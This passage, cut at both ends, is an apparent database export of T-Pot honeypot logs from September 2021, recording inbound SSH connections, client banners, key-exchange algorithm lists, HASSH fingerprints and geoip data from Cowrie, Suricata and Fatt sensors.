"ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58592, "dest_port": 22, "timestamp": "2021-09-20T11:08:58.433941", "@timestamp": "2021-09-20T11:08:58.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24546	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:49.035533+03	2021-09-20 14:15:08.938503+03	{"_id": "zgbkAnwBvYTbRNuE7hM-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1840779693669661, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 43974, "dest_port": 22, "timestamp": "2021-09-20T11:08:49.035533Z", "@timestamp": "2021-09-20T11:08:49.035Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24547	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:49.192628+03	2021-09-20 14:15:08.9395+03	{"_id": "zwbkAnwBvYTbRNuE7hM-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 506408516760547, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35420, "dest_port": 22, "timestamp": "2021-09-20T11:08:49.192628Z", "@timestamp": "2021-09-20T11:08:49.192Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
40336	192.168.20.109	109.199.241.180	Suricata	2021-09-20 15:43:12.004246+03	2021-09-20 15:45:03.925019+03	{"_id": "6AY7A3wBvYTbRNuEV3tH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.109", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:43:12.004246Z", "@timestamp": "2021-09-20T12:43:12.004Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
24548	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:49.935334+03	2021-09-20 14:15:08.9405+03	{"_id": "0QbkAnwBvYTbRNuE7xPN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:40604 (192.168.176.2:22) [session: dcaf49ffb6d6]", "session": "dcaf49ffb6d6", "@version": "1", "protocol": "ssh", "src_port": 40604, "dest_port": 22, "timestamp": "2021-09-20T11:08:49.935334Z", "@timestamp": "2021-09-20T11:08:49.935Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24549	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:50.206604+03	2021-09-20 14:15:08.9425+03	{"_id": "6QbkAnwBvYTbRNuE7xPT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:35938 (192.168.176.2:22) [session: 4120b0ae7e72]", "session": "4120b0ae7e72", "@version": "1", "protocol": "ssh", "src_port": 35938, "dest_port": 22, "timestamp": "2021-09-20T11:08:50.206604Z", "@timestamp": "2021-09-20T11:08:50.206Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24550	178.128.20.19	109.199.241.180	Cowrie	2021-09-20 14:08:49.517025+03	2021-09-20 14:15:08.9435+03	{"_id": "5gbkAnwBvYTbRNuE7xPS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.20.19", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e91ee70fe43d", "@version": "1", "duration": 2.136446714401245, "timestamp": "2021-09-20T11:08:49.517025Z", "@timestamp": "2021-09-20T11:08:49.517Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24551	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:50.209422+03	2021-09-20 14:15:08.9445+03	{"_id": "5wbkAnwBvYTbRNuE7xPS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4120b0ae7e72", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:50.209422Z", "@timestamp": "2021-09-20T11:08:50.209Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24552	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:50.234935+03	2021-09-20 14:15:08.9465+03	{"_id": "6AbkAnwBvYTbRNuE7xPS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "dcaf49ffb6d6", "@version": "1", "timestamp": "2021-09-20T11:08:50.234935Z", "@timestamp": "2021-09-20T11:08:50.234Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
24553	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:08:50.680858+03	2021-09-20 14:15:08.947502+03	{"_id": "8AbkAnwBvYTbRNuE8hMn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1035696664138928, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35684, "dest_port": 22, "timestamp": "2021-09-20T11:08:50.680858Z", "@timestamp": "2021-09-20T11:08:50.680Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24554	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:50.211505+03	2021-09-20 14:15:08.9485+03	{"_id": "9AbkAnwBvYTbRNuE8xMZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35938, "timestamp": "2021-09-20T11:08:50.211505", "@timestamp": "2021-09-20T11:08:50.211Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24555	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:50.681013+03	2021-09-20 14:15:08.9505+03	{"_id": "9QbkAnwBvYTbRNuE8xMZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35684, "timestamp": "2021-09-20T11:08:50.681013", "@timestamp": "2021-09-20T11:08:50.681Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24556	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:50.991562+03	2021-09-20 14:15:08.9525+03	{"_id": "9wbkAnwBvYTbRNuE8xMa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59830, "timestamp": "2021-09-20T11:08:50.991562", "@timestamp": "2021-09-20T11:08:50.991Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24557	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:08:50.492332+03	2021-09-20 14:15:08.9535+03	{"_id": "-AbkAnwBvYTbRNuE8xMe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": 